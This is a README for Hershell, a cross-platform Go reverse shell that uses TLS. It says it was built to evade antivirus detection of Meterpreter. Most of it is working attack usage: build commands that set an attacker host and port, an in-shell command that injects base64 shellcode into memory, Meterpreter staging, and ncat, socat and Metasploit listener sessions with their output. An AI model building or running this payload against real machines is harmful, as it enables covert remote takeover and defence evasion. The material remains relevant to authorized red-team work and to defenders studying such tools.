Awesome
Hershell
Simple TCP reverse shell written in Go.
It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.
Supported OS are:
- Windows
- Linux
- Mac OS
- FreeBSD and derivatives
Why ?
Although meterpreter payloads are great, they are sometimes spotted by AV products.
The goal of this project is to get a simple reverse shell, which can work on multiple systems.
How ?
Since it's written in Go, you can cross compile the source for the desired architecture.
Getting started & dependencies
As this is a Go project, you will need to follow the official documentation to set up
your Golang environment (with the $GOPATH
environment variable).
Then, just run go get github.com/lesnuages/hershell
to fetch the project.
Building the payload
To simplify things, you can use the provided Makefile. You can set the following environment variables:
GOOS
: the target OSGOARCH
: the target architectureLHOST
: the attacker IP or domain nameLPORT
: the listener port
For the GOOS
and GOARCH
variables, you can get the allowed values here.
However, some helper targets are available in the Makefile
:
depends
: generate the server certificate (required for the reverse shell)windows32
: builds a windows 32 bits executable (PE 32 bits)windows64
: builds a windows 64 bits executable (PE 64 bits)linux32
: builds a linux 32 bits executable (ELF 32 bits)linux64
: builds a linux 64 bits executable (ELF 64 bits)macos32
: builds a mac os 32 bits executable (Mach-O)macos64
: builds a mac os 64 bits executable (Mach-O)
For those targets, you just need to set the LHOST
and LPORT
environment variables.
Using the shell
Once executed, you will be provided with a remote shell.
This custom interactive shell will allow you to execute system commands through cmd.exe
on Windows, or /bin/sh
on UNIX machines.
The following special commands are supported:
run_shell
: drops you an system shell (allowing you, for example, to change directories)inject <base64 shellcode>
: injects a shellcode (base64 encoded) in the same process memory, and executes itmeterpreter [tcp|http|https] IP:PORT
: connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)exit
: exit gracefully
Usage
First of all, you will need to generate a valid certificate:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
For windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
For Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
For Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Examples
Basic usage
One can use various tools to handle incomming connections, such as:
- socat
- ncat
- openssl server module
- metasploit multi handler (with a
python/shell_reverse_tcp_ssl
payload)
Here is an example with ncat
:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Here is an example with socat
(tested with version 1.7.3.2
):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
Meterpreter staging
WARNING: this currently only work for the Windows platform.
The meterpreter staging currently supports the following payloads :
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https
To use the correct one, just specify the transport you want to use (tcp, http, https)
To use the meterpreter staging feature, just start your handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Then, in hershell
, use the meterpreter
command:
[hershell]> meterpreter https 172.16.122.105:8443
A new meterpreter session should pop in msfconsole
:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Credits
@khast3x for the Dockerfile feature